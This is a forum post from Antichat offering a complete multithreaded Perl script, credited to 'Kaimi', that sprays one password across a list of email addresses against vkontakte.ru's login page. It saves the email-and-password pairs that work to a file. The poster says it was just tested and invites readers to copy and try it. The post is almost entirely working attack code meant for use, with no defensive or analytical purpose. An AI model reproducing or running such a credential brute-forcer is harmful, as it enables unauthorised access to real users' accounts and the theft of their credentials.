Форум АНТИЧАТ - Показать сообщение отдельно

PHP код:

		
			
#! /usr/bin/perl -w

use IO::Socket;

use threads;

use threads::shared;



$threads =  shift || 5                ; #Кол-во потоков

$pass    =  shift || 'pass'         ; #pwd

$fname   = 'good.txt'               ; #Валидные

$ml      =  shift || 'mails.txt'    ; #Список мыл



my @acc : shared;

my $i : shared;

my $total : shared;

$| =1;



print "Loading...\n";



open (ACS, "<$ml") || die("Could not open mail list file!");

@acc = acc();



$size = scalar @acc;

$time      = time; 

$start      = localtime;

print  "Loaded: ",$size," emails.\n";

printf "Started at $start\n";



for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}

for(@trl) { $_->join; }



sub Brut

{

    while(@acc)

    {    

        {lock(@acc);$acc = shift @acc;}

        my $sock = new IO::Socket::INET 

        (

        PeerAddr => 'vkontakte.ru',

           PeerPort => 80, 

           PeerProto => 'tcp', 

           TimeOut => 20

        ) or die "Can't connect\n";

        

        my $data = "email=$acc&pass=$pass";

        my $len = length($data);

        my $re = "POST /login.php HTTP/1.1\nHost: vkontakte.ru\n".

         "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS IdentiServ 1.4.12)\nKeep-Alive: 300\n".

         "Connection: keep-alive\nReferer: http://vkontakte.ru\n".

         "Content-Type: application/x-www-form-urlencoded\n".

         "Content-Length: $len\n\n$data";

        

        print $sock $re; 

        sysread ($sock, my $answ, 800);

        

        if($answ =~ /\S{32}/)

            {

                {lock($total); $total++;}

                print "[+] $acc\n";

                open(FILE, ">>$fname") || die("Could not open $fname\n");

                print FILE "$acc : $pass\n";

                close(FILE);

            }

        {lock($i);$i++;}

        $percent = ($i/$size)*100;

        progress();



    }

            

        

}





$time = time-$time;

$end = localtime;

printf "Finished at $end\n";

printf "Time elapsed: $time sec\n";

printf "Finded: $total \n";



sub progress{



print "|";

$percent = sprintf("%.2f", $percent);

print "< $percent% > complete";

print "\r";

    }



sub acc

{

    my (@mas);

    while (<ACS>){

    push @mas, $_;

    }

    chomp @mas;

    return @mas;

}



#(c)Kaimi
только что проверил все норм скопируй и попробуй